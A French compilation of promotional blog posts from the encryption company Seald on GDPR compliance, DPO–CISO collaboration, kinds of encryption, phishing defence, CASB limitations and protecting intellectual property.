PG : Si le DPO est le chef d’orchestre de l’organisation sur la protection des données, le RSSI est lui le garde du corps de l’organisation et c’est lui qui va connaître le mieux le système d’information et qui va pouvoir proposer les mesures adéquates pour sensibiliser et sécuriser l’organisation.

Pourquoi le binôme DPO x RSSI est-il si important ?

PG : Le DPO et le RSSI sont non seulement complémentaires mais ils sont aussi les seuls à disposer de la compétence juridique et technique à même de protéger et de valoriser durablement l’organisation.

Qu’est-ce qui fait que leur collaboration est plus que jamais d’actualité ?

PG : Leur collaboration est de plus en plus d’actualité car l’environnement réglementaire et technique est de plus en plus complexe. En 2018 pour l’entrée en application du règlement, les organisations se sont concentrées sur la partie visible de l’iceberg, à savoir tout ce qui touchait l’utilisateur. Mais aujourd’hui il est nécessaire de s’attaquer à la partie la plus complexe. C’est-à-dire, la sécurisation et la protection du système d’information.

Finalement, que peut faire un DPO seul ?

PG : Un DPO seul est un DPO en danger, il ne va pas disposer de la compétence technique nécessaire pour pouvoir expliquer à l’autorité en cas de contrôle, les dysfonctionnements qui ont été rencontrés. Il sera incapable d’agir et en plus il ne sera pas crédible ni pour le management de l’organisation ni pour l’autorité.

Certaines personnes cumulent les fonctions de DPO et RSSI, qu’en pensez-vous ?

PG : Cumuler les fonctions de DPO et de RSSI sur le plan réglementaire c'est possible mais ce n’est pas souhaitable car il faut éviter de se trouver dans une situation où le DPO et le RSSI en étant une seule et même personne "sont juge et partie ». Le DPO doit rendre compte à la CNIL alors que le RSSI est plus, lui, engagé vis-à-vis de l’ANSSI. Donc pour cette raison, il est préférable de bien séparer les deux fonctions.

Quelles seraient vos conseils pour traiter efficacement le sujet de la conformité RGPD, quel que soit la taille et le secteur d’une entreprise ?

PG : La première question que je pose à mes clients est quelle est votre vision stratégique et quelle y est la place des données ? Trop souvent les organisations ont une vision uniquement à court terme et insuffisamment à long terme. Le conseil : minimiser la collecte des données et plus particulièrement des données sensibles car les données sensibles sont celles qui sont les plus complexes et celles qui génèrent le plus d’obligations. En sachant que, aujourd’hui, je ne connais aucune organisation qui ne traite pas de données.

Découvrez Seald !

Une protection proportionnée

Le RGPD impose aux entreprises de prendre des mesures de sécurité adaptées aux risques. L'une de ces mesures peut être du chiffrement, pourtant à en croire certains éditeurs, le chiffrement est la réponse à tous les maux.

Pour analyser les discours des éditeurs, il faut revenir aux fondamentaux : de quoi se protège-t-on ? Quel risque veut-on couvrir ?

Dans le cas du RGPD, on veut couvrir le risque d'une fuite de données et en particulier du besoin de notifier ces fuites de données. C'est là que les discours deviennent simplistes. Il est précisé que la notification de fuite d'une donnée n'est pas nécessaire si elle a été rendue incompréhensible pour toute personne non autorisée avec des mesures telles que du chiffrement. Cela est souvent raccourci en "tu as chiffré, tu es donc exempté de notifier !".

Cela est tellement simplifié que cela en devient faux ! Il faut donc faire très attention à ce que signifie réellement le "chiffrement" proposé par chaque éditeur.

Différents chiffrements contre différents risques

Des chiffrements il y en a beaucoup... Aujourd'hui, n'importe qui peut se targuer de faire du chiffrement, ne serait-ce qu'avec du HTTPS (le petit cadenas dans votre navigateur). Nous allons donc faire un petit tour d'horizon des types principaux de chiffrement et pour chacun voir contre quelles menaces ils protègent.

Chiffrement de flux

Le chiffrement de flux consiste à protéger une connexion entre un point A et un point B contre une écoute passive ou une altération de la connexion.

Cela protège d'une personne malveillante sur le réseau pouvant écouter ou altérer des connexions entre A et B.

Cela ne protège pas les données une fois arrivées chez A ou B.

On en utilise tous les jours avec HTTPS dès que l'on navigue sur Internet. Cela est devenu un standard, ne pas en faire est un grave défaut de sécurité.

D'autres chiffrements de flux sont possibles comme du VPN, du SSH, etc.

Chiffrement de poste

Le chiffrement de poste consiste à chiffrer les disques durs ou certains répertoires des disques.

Cela protège les données en cas de vol d'ordinateur ou de disque dur, l'attaquant ne pourra pas alors pas lire le contenu sans connaître le mot de passe ou la clé.

Cela ne protège pas les données une fois l'ordinateur allumé, le système d'exploitation ayant accès à toutes les données en clair.

Les technologies les plus connues sont BitLocker, FileVault ou Luks et sont assez simples à mettre en oeuvre.

Chiffrement de base de données

Le chiffrement de base de données est le plus souvent implémenté en désignant quelques champs sensibles en base (comme l'email, ou le nom) qui seront chiffrés avec une clé stockée autre part. La raison pour laquelle on ne chiffre pas tous les champs, est qu'une fois chiffré, on ne peut plus exploiter ce champ dans des opérations complexes comme de la recherche... Cette méthode n'est donc pas applicable sur l'ensemble de la base de données.

Cela protège les champs chiffrés d'un accès malveillant à la base seule ou d'une fuite de sauvegarde de base de données.

Cela ne protège pas les données une fois exploitées par l'application qui utilise la base de données, puisque cette application aura nécessairement besoin de la clé pour déchiffrer.

Cela est une bonne pratique qu'il faut appliquer dès qu'on le peut, parce que les fuites d'identifiants de bases de données sont malheureusement courantes.

(J'ai volontairement omis de mentionner les techniques dites de tokenisation parce qu'elles n'utilisent pas de chiffrement à proprement parler et sont cryptographiquement très faibles.)

Chiffrement côté serveur

Le chiffrement côté serveur est très vague. Très concrètement, cela englobe tous les systèmes de chiffrement qui détiennent les clés de déchiffrement et les données chiffrées au même endroit. De façon imagée, cela revient à poser une serrure sur une porte blindée, mais oublier la clé dessus.

Cela protège les données de quelques faiblesses internes de l'hébergeur (une fuite interne, etc.)

Cela ne protège pas des risques courants de l'infrastructure du client (accès malveillant à un compte, phishing, vol, etc.) ou de failles de sécurité de l'hébergeur qui pourrait mal authentifier certaines requêtes.

Nous en avons parlé largement dans notre article sur l'inefficacité du chiffrement proposé par les services de stockage cloud.

Chiffrement avec tiers de confiance

Le chiffrement avec tiers de confiance est une méthode consistant à séparer la donnée chiffrée de sa clé et de placer cette clé en séquestre chez un tiers de confiance. La donnée chiffrée transite elle par ses canaux habituels. La clé ne sera fournie à l'utilisateur final qu'après authentification par le tiers de confiance au moment où le déchiffrement est nécessaire, et sera envoyée par un canal auxiliaire. Le déchiffrement s'effectue donc sur le poste de l'utilisateur, et à aucun moment un serveur n'a accès à la fois aux données chiffrées et aux clés.

Cela protège d'une fuite de données de l'hébergeur ou du tiers de confiance.

Cela ne protège pas de fuites de données simultanées de l'hébergeur et du tiers de confiance.

Le scénario de fuite conjointe étant peu probable, dans la majorité des cas, une fuite des documents chiffrés chez l'hébergeur n'engendre pas de notification de fuite aux personnes concernées.

Chiffrement de bout-en-bout

Le chiffrement de bout-en-bout est le type de chiffrement le plus strict. On appelle chiffrement de bout-en-bout un cryptosystème dans lequel seuls l'émetteur et les destinataires ont accès aux clés de déchiffrement des données chiffrées. Cela diffère du mécanisme précédent où un tiers de confiance avait ces clés.

Cela protège de toutes les fuites des données de l'hébergeur.

Cela ne protège pas d'une compromission de l'ordinateur les déchiffrant.

À moins d'une compromission des ordinateurs des utilisateurs, une fuite des document chiffrés chez l'hébergeur n'engendre pas de notification de fuite aux personnes concernées.

En résumé

Vous l'avez compris, mettre en place du chiffrement dans le seul but de cocher une case ne vous aidera pas à sécuriser vos données. Ce n'est pas un choix binaire entre "chiffré" ou "pas chiffré". Il faut être conscient des limites de chaque technologie pour ne pas se faire bluffer par des éditeurs peu scrupuleux.

Découvrez Seald !

Cependant, ces services sont souvent utilisés pour partager, sauvegarder et stocker des données métier confidentielles, telles que des :

• fichiers contenant de la propriété intellectuelle ;
• documents de réponses commerciales ;
• fiches RH.

Généralement, dans les versions de base de ces services, très peu de mesures sont mises en œuvre pour assurer la confidentialité de ces données. Pour y répondre, les hébergeurs proposent souvent des options complémentaires, fréquemment facturées en sus, incluant du chiffrement de données.

Le chiffrement cloud proposé par les hébergeurs

Les hébergeurs de services cloud proposent certains services de chiffrement en Cloud, généralement en option. On peut par exemple nommer OneDrive Entreprise, dont la documentation référence les deux méthodes de sécurisation suivantes :

• le chiffrement du transport (via HTTPS / TLS) ;
• le chiffrement au repos des données (via AES).

Des propositions similaires sont faites pour DropBox (documentation) et Google Drive (documentation).

Le chiffrement du transport est un faux indicateur de confiance. Aujourd'hui, un service doit proposer (voire imposer) l'accès à ses services via HTTPS. C'est d'ailleurs pour cela que les navigateurs affichent désormais une alerte pour tout service n'ayant pas cette protection.

Le chiffrement des données via AES est cependant un indicateur plus compliqué à interpréter. Il s'agit généralement d'un chiffrement uniquement côté serveur, donnant un faux sentiment de confiance pouvant tromper l'utilisateur. C'est ce que nous allons tenter d'expliquer.

Le chiffrement du cloud : seulement côté serveur

Quand un hébergeur annonce un chiffrement de fichier dans son Cloud, il s'agit, dans la quasi-totalité des cas, uniquement d'un chiffrement côté serveur.

En effet, lors de l'utilisation d'un service Cloud, les fichiers sont d'abord transférés dans leur version en clair sur le serveur de l'hébergeur. Ils sont ensuite protégés avec du chiffrement par le serveur. L’idée est donc que la donnée est protégée une fois sur le serveur sécurisé du service, mais l'hébergeur a accès à une version en clair des fichiers.

Ce mécanisme est illustré dans le schéma suivant :

Cela protège au mieux d'un vol d'un disque dur dans le data-center. Est-ce vraiment utile ?

Au contraire, cela ne protège pas des risques pour lequel le chiffrement a un réel intérêt tels que :

• un vol de mot de passe d'un utilisateur, puisque le mot de passe suffit à récupérer les fichiers ;
• un piratage de la boîte email d'un utilisateur, puisqu'un accès à la boîte email suffit à renouveler la plupart des mots de passe ;
• une fuite de données des serveurs de l'hébergeur qui détiennent à la fois les clés et les documents chiffrés, permettant à un attaquant d’accéder à la donnée en clair très simplement.

Pour résumer les choses en peu de mots, le chiffrement côté serveur de l'hébergeur ne suffit pas, il faut une autre solution.

Vous souhaitez en savoir plus sur Seald ? Contactez-nous !

Better Seald than sorry.

Découvrez Seald !

Tout le monde a déjà reçu ces emails tentant de vous leurrer pour que vous rentriez votre précieux mot de passe. Celui-ci provient d'une campagne de janvier 2018 :

Le chiffrement est un procédé permettant de rendre illisible une donnée à quiconque n'ayant de clé de déchiffrement. Cependant, quel est le lien avec le phishing ? C'est justement ce que nous allons traiter dans ce billet.

Nous vous présenterons dans cet article en quoi du chiffrement, associé à une gestion intelligente des clés, permet de protéger les données les plus sensibles, même en cas de phishing.

Avant de rentrer dans le vif du sujet, faisons un petit tour d'horizon rapide de l'état de l'art.

Le premier rempart au phishing : la prévention

Le plus important dans la lutte contre le phishing est de sensibiliser, encore sensibiliser et toujours sensibiliser. Les RSSI qui lisent cet article se reconnaissent sûrement : rassurez-vous, tout le monde est dans le même bateau. Pour connaître le niveau de sensibilisation de vos collaborateurs, partagez-leur ce test (développé par Google) et invitez ceux qui n'ont pas la moyenne à vous en informer ! La formation ou la sensibilisation de vos équipes aux enjeux du phishing d’une part et de la cybersécurité en général d’autre part est fondamentale pour la constitution d’une politique de sécurité des données efficace.

L'anti-spam en anti-phishing

La première ligne de défense contre les cyberattaques de type phishing reste bien évidemment de mettre en place des filtres anti-spam. Qu’il s’agisse de remparts intégrés dans le service d'emails, ceux d'éditeurs tiers, ou encore des solutions plus poussées demandant un enrollment préalable, peu importe.

Toutes ces techniques tentent d'arrêter les emails de phishing avant qu'ils n'atterrissent dans la boîte email de la potentielle victime. Mais comme toute ligne de défense, il se peut qu'une brèche s'ouvre et que l'email passe au travers...

Dans ce cas, il revient à l'utilisateur de ne pas aller plus loin.

Sensibilisation : comment reconnaître le phishing ?

Une fois l'email arrivé dans la boîte email de l'utilisateur, il y a quelques indices pour reconnaître un vrai d'un faux:

• la présence de fautes d'orthographe;
• le fait de demander des informations secrètes (identifiants, carte bleue, etc.);
• des liens sur des domaines qui ressemblent (miicrosoft.com au lieu de microsoft.com par exemple).

De façon générale, une bonne pratique est de ne pas faire confiance aux liens dans les emails, mais de se reconnecter au site par le lien que vous connaissez. Par exemple, si vous recevez un alerte de Google vous indiquant une connexion illicite, ne cliquez sur aucun lien de l'email et allez sur votre compte Google vous-même. Si Google ne vous affiche rien, vous saurez sans risque que c'était du phishing.

Dans les cas où un collaborateur est la cible d'une attaque de phishing, ou bien en cas de un doute, contactez le service informatique.

Certaines entreprises vont jusqu'à mener des campagnes de phishing sur leurs propres employés pour les sensibiliser, et leur démontrer qu'ils ne sont pas surhumains et qu'une piqûre de rappel ne leur ferait pas de mal.

Signature électronique : l'authentification contre le phishing

Pour ajouter des éléments à la liste d'indices, on recommande souvent d'employer la signature électronique. Vous connaissez peut-être le concept de signature dans les protocoles S/MIME ou PGP. Celles-ci permettent d'afficher un sceau d'authenticité sur les emails provenant d'une personne.

Cela permet a priori d'assurer que cet email a bien été envoyé par la bonne personne. Cependant, plusieurs chercheurs de la Ruhr University Bochum et de la Münster University of Applied Sciences ont mis en lumière en mai 2019 dans un papier intitulé "Johnny, you are fired!" que la majeure partie des clients de messagerie vérifient incorrectement ces signatures. Les utilisateurs peuvent alors être amenés à croire que les signatures sont valides alors qu'elles ne le sont pas. Tous les exemples de ces attaques sont disponibles sur leur projet GitHub.

De plus, la plupart des gens ne sont pas habitués à ces signatures. Ainsi, s'ils reçoivent un email sans cette signature, il est probable qu'ils poursuivent quand même et entrent leurs identifiants, donnant ainsi accès à toute sa boîte email à l'attaquant. De plus, la plupart des services Cloud n'utilisent pas de signature PGP ou S/MIME pour les emails légitimes qu'ils envoient.

Deuxième rempart contre le phishing : le damage control

Ça y est, l'attaquant a eu accès à votre mot de passe. Comment limiter la casse ?

Une bonne gestion des mots de passe et la double-authentification

Je ne rentrerai pas dans le détail, mais une bonne gestion des mots de passe est indispensable. Cela permet de limiter les dégâts au seul compte pour lequel l'identifiant a été donné à l'attaquant. Prosaïquement, si vous avez le même mot de passe sur tous vos comptes, et que vous l'avez donné, l'attaquant a accès à tous vos comptes.

De plus, la mise en place de double authentification est une très bonne méthode pour éviter les attaques par phishing. En effet, la seule connaissance du mot de passe ne suffit plus : il faut également un second facteur, comme une Yubikey, un SMS ou une application de type Authenticator.

Pour plus de détails, voici un article de la CNIL sur le sujet.

Le chiffrement

Enfin, nous y voici. Dans le cas où un compte (e-mail, partage de fichiers, ou autre) a été compromis, comment faire pour préserver la confidentialité de vos données sensibles ?

Pour n'en citer que quelques-uns, voici quelques exemples de documents contenants des informations sensibles :

• un contrat avec un client important ;
• des spécifications techniques d'un projet sur lequel vous travaillez depuis plusieurs mois ;
• des données à caractère personnel de vos utilisateurs, prospects ou clients.

Avec une solution de chiffrement, telle que le propose Seald, vous pouvez travailler avec des documents et des emails chiffrés. Ces derniers seront encapsulés dans une enveloppe sécurisée assurant que seules les personnes autorisées pourront y avoir accès.

Notez que le chiffrement de Seald n'est pas lié au compte sur lequel vous stockez les documents et e-mails. Seald est totalement agnostique, et cela présente un énorme avantage : un accès illicite au compte ne permet pas de déchiffrer les documents. Il faut un accès physique à la machine de l'utilisateur.

En général, les applications de messagerie proposant du chiffrement embarqué n'ont pas le même modèle de sécurité. Le chiffrement qu'ils proposent se réduit à la connaissance du mot de passe du compte, ainsi ils ne font rien contre le phishing.

Détecter l'intrusion

La dernière étape, qui arrive souvent trop tard, c'est de détecter l'intrusion pour y pallier. Cette détection peut par exemple se faire en détectant une activité inhabituelle sur les comptes. Seald met à disposition dans sa console d'administration une piste d'audit de toutes les activités (accès et tentatives d'accès) sur les fichiers Seald de l'entreprise. Il est également possible de remonter tous ces logs vers un SIEM.

Dès que l'on se rend compte que l'attaque a eu lieu, il faut immédiatement notifier son administrateur (lorsqu'il s'agit d'un compte professionnel) et changer le mot de passe du compte en question (et au passage de tous les autres comptes utilisant ce mot de passe).

Conclusion

Comme toujours contre le phishing, la sensibilisation et l'humain restent la pierre angulaire de la prévention. Errare humanum est, l'erreur est humaine, on le disait déjà à l'époque de Sénèque, et ce principe est toujours aussi vif en cybersécurité.

Better Seald Than Sorry.

Nous avions déjà expliqué nos différences avec les protocoles PGP et S/MIME, et dans cet article nous allons expliquer nos différences avec un Cloud Application Security Broker (CASB).

Le premier problème qu'un CASB adresse est d'être un rempart au shadow IT, c'est-à-dire d'empêcher les employés en entreprise d'utiliser des applications Cloud non promues par la Direction des Systèmes d'Information (DSI). Selon une étude du CESIN et de Symantec menée en 2017, les entreprises utilisent chacune en moyenne 1697 applications Cloud différentes, reflétant une fragmentation du SI et rendant donc quasi impossible la tâche de garder les informations sensibles confidentielles.

Voici à quoi ressemble le SI sans CASB:

Les promesses d'un CASB sont donc de se placer entre les applications et les utilisateurs comme un proxy, de bloquer les requêtes à des services jugés non sûrs, et de chiffrer et déchiffrer le contenu des requêtes pour que l'application Cloud n'ait pas accès à son contenu en clair.

Comment fonctionne un CASB?

De façon simplifiée, un CASB est un serveur intermédiaire chiffrant et déchiffrant à la volée les requêtes faites à une application Cloud.

Cette méthode présente des avantages et des inconvénients:

• la protection est complètement transparente et invisible pour l'utilisateur;
• mais pour y arriver, de complexes solutions de contournement, outrepassant des protections déja mises en places par les applications Cloud, sont implémentées, ce que nous allons détailler.

Gestion des clés

Le travail principal du CASB est donc de générer les clés de chiffrement des documents et de les utiliser à la volée pour chiffrer ce qui va vers les applications Cloud et déchiffrer ce qui en vient. Pour fonctionner, celui-ci est contraint de briser la chaîne de sécurité puisque le flux TLS entre le client et l'application Cloud est interrompu, inspecté et modifié par le CASB.

Afin de donner la maîtrise des clés au client, il existe deux possibilités:

• soit le CASB est installé comme appliance au sein de l'entreprise (le plus fréquent), et les utilisateurs se connectent à celle-ci au lieu de se connecter aux applications Cloud.
• soit le CASB est utilisé dans sa version Cloud. Celui-ci effectue des requêtes pour obtenir les clés à la demande, que celles-ci soient hébergées au sein de l'entreprise, ou dans des Hardware Security Modules (HSM) managés — c'est ce que les fournisseurs appellent le Bring Your Own Key (BYOK).

Il est à noter que dans ce dernier mode, même en BYOK, le document en clair transite dans sa version non chiffrée dans le Cloud.

Détection du Shadow IT

Une deuxième fonctionnalité des CASB est la détection d'utilisation du shadow IT. Pour cela, le CASB doit se placer en tant que proxy interceptant tout le trafic de l'entreprise, et plus seulement un reverse proxy pour un service donné. Cela permet de gérer une liste noire de services Cloud permettant ainsi de contraindre les utilisateurs à n'utiliser que les applications promues par l'entreprise.

Quelles sont les limitations d'un CASB ?

Infrastructure

Comme toute installation de proxy, l'installation d'un CASB implique, entre autres, des modifications des configurations des paramètres DHCP, des configurations de routeurs ainsi de questions de clustering et haute disponibilité. Dans le cas d'une installation en appliance — pour une maîtrise des clés plus complète — cela implique également de lourdes tâches d'intégration matérielle.

Afin de détecter le shadow IT, un CASB doit intercepter tout le trafic internet de l’entreprise et l'inspecter, cassant ainsi la chaîne de sécurité entre le client et l'application Cloud. Cela pose par ailleurs des problèmes règlementaires car les entreprises sont soumises à certaines obligations si elles souhaitent inspecter le traffic de leurs employés. L'ANSSI a rédigé ce guide sur l'inspection des flux TLS, et notamment l'annexe A de ce document détaille les aspects juridiques.

Modèle de sécurité

Le fait que le CASB concentre tous les accès en un point constitue par construction un Single Point Of Failure. Il ne s’agit donc pas de chiffrement de bout-en-bout: les chiffrements et déchiffrements finaux ne s’opèrent pas sur les terminaux des utilisateurs, mais sur le CASB qui les redirige ensuite à l’utilisateur. Cela fait que:

• le CASB a accès à tous les documents en clair;
• que les utilisateurs ont accès aux versions en clair, pouvant ensuite être échangées librement par d’autres canaux, le contrôle d’accès étant effectué avant téléchargement et déchiffrement, et non après.

De plus, cela ne fonctionne avec des gens à l’extérieur de l’entreprise que si l’entreprise expose le CASB sur Internet, augmentant ainsi la surface d’attaque.

La fonctionnalité de recherche

Les applications Cloud dont nous parlons depuis le début ne font pas que du simple stockage de documents ou de textes, il permettent aussi d'effectuer des recherches dedans et d'en tirer de la valeur. Seul le chiffrement homomorphe permet d'effectuer des opérations sur un document chiffré, et aujourd'hui aucun CASB et/ou application Cloud ne permet d'utiliser une telle technologie: elle est bien trop lourde et encore expérimentale. Les éditeurs ont donc dû faire un choix:

Les éditeurs ont donc dû faire un choix:

• Soit ils utilisent un chiffrement dégradé dit par tokenisation, c'est-à-dire qu'un mot est toujours chiffré de la même façon, par exemple "bonjour" deviendra toujours "2cb4b14", de sorte que lorsque quand l'utilisateur recherche "bonjour" le CASB le transforme en "2cb4b14" et que l'application Cloud exécute la requête avec "2cb4b14". Cela paraît anodin, mais beaucoup de cryptanalystes vous diront que c'est tellement dangereux qu'il ne s'agit même plus de chiffrement, et n'est pas conforme avec les recommandations de l'ANSSI ou du FIPS.
• Soit ils réimplémentent les fonctionnalités de recherche des applications Cloud dans le CASB avec un index chiffré créé et utilisé par celui-ci. Cela doit être refait pour chaque application Cloud, et l'éditeur du CASB ne sait pas comment ces fonctionnalités ont été implémentées par l'éditeur de l'application Cloud, les rendant par conception instables.

Quel que soit le choix fait, les fonctionnalités de recherche, de tri, ou n'importe quelle opération exploitant des documents pour en tirer de la valeur ne fonctionneront pas correctement, ou alors au prix d'un gros compromis de sécurité.

Seald est-il un CASB ?

Non.
Plus en détail, Seald est une application de chiffrement installée sur les terminaux des utilisateurs, opérant les chiffrements et déchiffrements finaux dessus. Un fichier chiffré peut être stocké et transmis notamment sur toutes les applications Cloud, mais aussi par clé USB ou email.

Par ailleurs, chez Seald il n’existe pas de serveur unique permettant d’accéder à toutes les clés et données. Chaque utilisateur dispose d’une clé privée unique sur chacun de ses terminaux, minimisant ainsi grandement la surface d'attaque exposée.

Conclusion

Sans trop de surprise, vous vous êtes sans doute rendu compte que notre avis sur les CASB est partial. En effet, de nombreux avantages sont présents dans Seald:

• le chiffrement est effectué côté client, donc il n'y a pas de SPOF compromettant la confidentialité;
• les données reste sécurisées en toutes circonstances, même lorsqu'il est sorti du périmètre de l'entreprise;
• il n'y a pas d'infrastructure réseau lourde à mettre en oeuvre;
• Seald a fait le choix de suivre les recommandations de l'ANSSI en termes de choix d'algorithmes de chiffrement.

Better Seald than sorry.

Pour comprendre l’ampleur de la situation, prenons l’étude réalisée par des professeurs de l'Université du Maryland et de l'Université Carnegie Mellon. Celle-ci révèle qu’un film volé perd 19 % de ses recettes au guichet lorsqu’il apparaît en ligne avant sa sortie en salle.

Qu’est-ce la propriété intellectuelle ?

Elle peut correspondre à un processus de création, un plan de lancement produit, un secret d’affaires, une formule chimique ou un design industriel. La propriété intellectuelle va réunir toute l’information intangible. Même si votre actif le plus important se traduit par un produit physique ou tangible vous devez pouvoir valoriser les processus, les informations, les systèmes nécessaires à sa création. Ce sont ces actifs immatériels qui constituent votre propriété intellectuelle.

Légalement, on la divise en deux catégories : la propriété industrielle, qui comprend par exemple, des brevets d’invention, des marques de produits, des marques de services, des noms et désignations commerciales, des indications géographiques. Les droits d’auteur, qui se rapportent tant aux créations littéraires et artistiques qu’aux productions technologiques (telles que les programmes informatiques ou les bases de données propriétaires).

Pourquoi les brevets ne suffisent-ils pas ?

Là où un brevet vous octroiera une exclusivité d’exploitation quand vous rendez un produit public, il ne protègera pas l’ensemble de vos actifs immatériels qui relèvent de votre propriété intellectuelle. Certains savoirs comme vos processus de création ou secrets d’affaires doivent rester confidentiels durant l’entièreté de leur cycle de vie. Ces informations qui permettent la création de valeur au sein de votre entreprise demeureront toujours une cible prioritaire pour les attaquants. La Chine en a d’ailleurs fait sa spécialité et vise régulièrement la propriété intellectuelle des entreprises étrangères.

Les entreprises doivent donc sans cesse réduire leur surface d’attaque, c’est-à-dire réduire les risques d’attaques inhérents à leur activité. Et même si ce travail continu est essentiel à tout programme de cybersécurité, il existera toujours une faille qui finira par être exploitée. Qu’il s’agisse d’un attaquant extérieur, d’un employé sans scrupule ou bien d’un collaborateur qui ne respecte pas les règles de sécurité, vous devez composer avec l’idée que des données fuiteront à court ou moyen terme.

Des actions simples pour protéger votre organisation

1) Savoir quelles données relèvent de la propriété intellectuelle

Cela peut vous sembler évident, mais si chacun sait ce qui relève de la propriété intellectuelle au sein de l’organisation, vous la protégerez plus facilement. Il est donc essentiel de la qualifier juridiquement et de la quantifier financièrement. Par exemple, prenez votre base de données clients : même si le cadre juridique des droits d’auteurs ne s’applique pas, vous pouvez tout de même revendiquer sa protection sur la base de la propriété intellectuelle à partir du moment où elle « atteste d’un investissement financier, matériel ou humain substantiel ». De la même manière, vos modules de formation peuvent avoir une véritable valeur financière, car ils peuvent représenter un savoir-faire unique !

2) Savoir où se trouvent les données confidentielles et qui peut y accéder

Si vous vous concentrez sur les systèmes IT principaux pour sécuriser votre propriété intellectuelle vous prenez le risque de passer à côté d’appareils annexes. Cela inclut, par exemple, les appareils reliés au réseau comme les imprimantes ou les scanners ou encore les systèmes de partage de fichiers types Dropbox. Une maîtrise des droits d’accès aux informations qui relèvent de la propriété intellectuelle est donc une première stratégie efficace pour réduire les risques de fuite.

3) Établir une stratégie de sécurisation des données pour l’ensemble de l’organisation

Parce que plusieurs entités manieront les informations sensibles, vous devez standardiser les mesures de sécurité à l’ensemble de l’organisation. Par exemple en classifiant vos informations et en chiffrant celles considérées comme confidentielles, vous vous assurerez de la protection de l’information même en cas de fuite.

4) S’assurer que les employés connaissent et suivent les règles de sécurité

Dans la plupart des cas, la propriété intellectuelle quitte une entreprise par accident ou par négligence. Assurez-vous que vos employés soient conscients de la manière dont ils pourraient exposer involontairement la propriété intellectuelle de l’organisation. Selon une étude réalisée par Egress Software Technologies en février 2019, les technologies les plus couramment impliquées dans la fuite accidentelle de données sensibles - comme la propriété intellectuelle - sont :

• les emails externes comme un compte Gmail ou Yahoo (51 %) ;
• les emails d'entreprise (46 %) ;
• les outils de collaboration comme Slack ou Dropbox (38 %).

Parmi les principales raisons de transmission, on retrouve des emails envoyés à une mauvaise adresse, des emails transférés « tels quels » en dehors de l’organisation ou des emails et pièces jointes envoyés sur un compte de messagerie personnel.

Better Seald than sorry.

Découvrez Seald !

L’année 2018 en quelques chiffres, c'est :

• 95 000 plaintes déposées ;
• 33,7 millions de personnes vivant en France concernées ;
• 255 enquêtes ouvertes ;
• + de 50 millions d’euros d’amendes distribués.

Le RGPD est ainsi rapidement devenu un enjeu majeur pour la majorité des entreprises européennes. Un an après l’entrée en vigueur du règlement, nous dressons un premier bilan du RGPD et surtout nous vous donnons les clés pour assurer votre mise en conformité.

Le récapitulatif sur la conformité au RGPD

Nous le savons tous, la donnée est l’or numérique de ce troisième millénaire. Les institutions européennes l’ont bien compris et face à certaines pratiques contestables, elles ont décidé d’imposer un cadre commun pour protéger les informations de leurs citoyens : le Règlement Général sur la Protection des Données (RGPD).

Ce nouveau règlement a pour but de renforcer le contrôle des citoyens sur leurs données et d'harmoniser les outils de régulation au niveau européen. Toutes les organisations, qui traitent des données personnelles de citoyens européens, sont donc concernées.

C’est par exemple le cas des sous-traitants : le cas mérite d’être mentionné tant le RGPD soulève des questions importantes sur la responsabilité des sous-traitants au regard du RGPD.

Les sanctions en cas de non-conformité au RGPD

La CNIL dispose d’un important arsenal de sanctions. Elles demeurent principalement dissuasives et ont pour objectif de vous inciter à vous mettre en conformité en cas de contrôle.

Parmi ces outils, la chaine de répression la plus communément utilisée est :

• la mise en demeure de l’organisation suite aux constats de manquement durant le contrôle ;
• si rien n’a été fait pour palier à ces manquements : une sanction pécuniaire pouvant aller jusqu’à 4 % du chiffre d’affaires du groupe ou 20 millions d’euros.

En observant le panorama des sanctions, vous noterez que la CNIL cible tous types d’organisations, allant du grand groupe comme Bouyges Telecom à la PME spécialisée dans la télésurveillance d’ascenseurs!

Pour 2019, plusieurs sources font état d’une volonté de la CNIL de renforcer ses contrôles sur les start-ups (Med Tech, Fin Tech, Ad Tech) et les agences immobilières qui traitent toutes un nombre important de données personnelles.

Ce renforcement s'inscrit dans le contexte actuel où l'ANSSI alerte sur une augmentation des attaques par rebond depuis le début de l’année.

Quelles sont les questions à se poser pour vérifier sa conformité au RGPD ?

Le RGPD repose sur 3 principes clés : Transparence - Confiance – Responsabilité. Beaucoup d’articles de ce règlement sur le traitement de la donnée relèvent du bon sens moral. Garder ces notions en tête vous permettra d’éviter un bon nombre d’erreurs.

Dois-je nommer un délégué à la protection des données (DPO) ?

Nommer un DPO n’est pas obligatoire pour toutes les entreprises, même si vous traitez des données personnelles. Néanmoins, le rôle du DPO dans la conformité au RGPD peut être important. Concrètement, l’article 37 détermine 3 cas dans lesquels vous devez nommer un DPO :

1. Le traitement de données personnelles est mis en œuvre par une autorité publique ou un organisme public ;
2. L’entité concernée a pour activité de base la mise en œuvre de traitement de données qui, du fait de leur nature, de leur portée ou de leur finalité, exigent un suivi régulier et systématique à grande échelle d’individus ;
3. L’entité concernée a pour activité de base la mise en œuvre de traitement à grande échelle de catégories particulières de données (données de santé, relatives aux opinions philosophiques, religieuses, etc.) et de données relatives à des condamnations pénales ou des infractions.

Dois-je faire une analyse d’impact (AIPD) ?

L’Analyse d’Impact relative à la Protection des Données (AIPD) sera nécessaire si le traitement des données est susceptible d'engendrer un risque élevé pour les droits et libertés des personnes concernées.

Pour savoir si le traitement des données présente un risque élevé, la CNIL a identifié 9 critères :

1. Données traitées à grande échelle ;
2. Données sensibles (raciales, ethnique, biométriques, ...) ;
3. Données concernant des personnes vulnérables (patients, personnes âgées, enfants) ;
4. Croisement ou combinaison de données ;
5. Évaluation/ profilage ;
6. Prise de décision automatisée avec un effet juridique ou similaire ;
7. Surveillance systématique de personnes ;
8. Traitement pouvant exclure du bénéfice d'un droit, d'un service ou d'un contrat ;
9. Utilisation innovante ou application de nouvelles solutions technologiques ou organisationnelles.

Si vous êtes concernés, téléchargez le logiciel open source PIA.

Quelles données puis-je recueillir ?

Soyez transparent sur la façon dont vous utilisez les données d’un utilisateur ou client lors de la collecte. Par exemple, vous devez expliquer quelles sont les finalités d’usage des cookies que vous employez.

Ne récoltez que des données qui sont nécessaires au bon fonctionnement de votre entreprise. Typiquement, vous n’avez pas besoin de connaître le groupe sanguin d’un client si vous proposez des assurances habitations !

Comment garder les données recueillies ?

Vous devez sécuriser vos données ! C’est un point crucial du RGPD qui a pour objet de protéger les citoyens européens en leur donnant plus de maîtrise sur leurs données, mais aussi en imposant à ceux qui les détiennent de mettre en œuvre les moyens nécessaires pour les protéger.

